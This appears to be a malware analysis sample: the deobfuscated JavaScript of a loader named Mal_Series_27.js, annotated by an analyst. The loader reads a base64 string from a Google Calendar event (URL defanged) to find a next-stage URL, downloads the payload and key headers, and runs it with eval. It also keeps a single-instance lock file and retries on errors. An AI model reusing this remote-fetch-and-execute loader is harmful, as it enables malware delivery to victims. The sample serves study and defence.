Base64 decoded javascript

Mal_Series_27.js

'use strict';
var https = require('https'), fs = require('fs'),

tcbbhlssm = (e, t) => e.match(new RegExp(`${t}=("([^"]*)")`))[1], 

vbsxc = async (e, t) => {
    try {
        const s = await fetch(e);
        if (s.ok) {
            if (200 !== s.status) {
                const e = s.headers.get("location");
                return vbsxc(e, t);
            }
            const e = await s.text();
            t(null, tcbbhlssm(e, "data-base-title"));
        } else {
            t(new Error(''));
        }
    } catch (e) {
        console.log(e), t(e);
    }
},

iktunpylv = async (e, t) => {
    try {
        const s = await fetch(e);
        if (s.ok) {
            const e = await s.text(), c = s.headers;
            t(null, {
                gxawtnme: e,
                tnnxfqk: c.get("ivbase64"),
                secretKey: c.get("secretkey")
            });
        } else {
            t(new Error(''));
        }
    } catch (e) {
        t(e);
    }
},

// Function t is Callback function
// If it enters function vbsxc then the callback function will be async (bqcxlxixkq, link) ...
// If it enters function iktunpylv then the callback function will be async (bqcxlxixkq, { gxawtnme, tnnxfqk, secretKey }) ...

gdwsvicxv = async () => {
    await vbsxc("https://calendar.app[.]google/a1vRBeuKn6NmKZC7", async (bqcxlxixkq, link) => { // The Google calender contains a base64 strings which leads to next stage payload URL 
        bqcxlxixkq ? (
            console.log('bqcxlxixkq'), 
            await new Promise(e => setTimeout(e, 1000)), 
            gdwsvicxv()
        ) : 
        await iktunpylv(link, async (bqcxlxixkq, { gxawtnme, tnnxfqk, secretKey }) => {
            if (bqcxlxixkq) {
                console.log('bqcxlxixkq'), 
                await new Promise(e => setTimeout(e, 1000)), 
                gdwsvicxv();
            } else {
                if (20 == gxawtnme.length) // atob(cHJvY2Vzcy5leGl0KDAp) == process.exit(0)
                    return void eval(atob(gxawtnme));
                const _iv = Buffer.from(tnnxfqk, 'base64'); // If the content length is not 20, then it is possible that variable tnnxfqk contains base64 encoded payload
                eval(atob(gxawtnme)); // Execute base64 decoded payload
            }
        });
    });
},

ryrpzhjec = process.env.TEMP + '\\ikztsx';

fs.existsSync(ryrpzhjec) && process.exit(1);
fs.writeFileSync(ryrpzhjec, '');
process.on('exit', () => {
    fs.unlinkSync(ryrpzhjec);
});

gdwsvicxv();

var xfqwh = 0;
process.on('uncaughtException', async e => {
    console.log(e);
    fs.writeFileSync('_logs_bqcxlxixkq_uncaughtException.txt', e);
    ++xfqwh > 10 && process.exit(0);
    await new Promise(e => setTimeout(e, 1000));
    gdwsvicxv();
});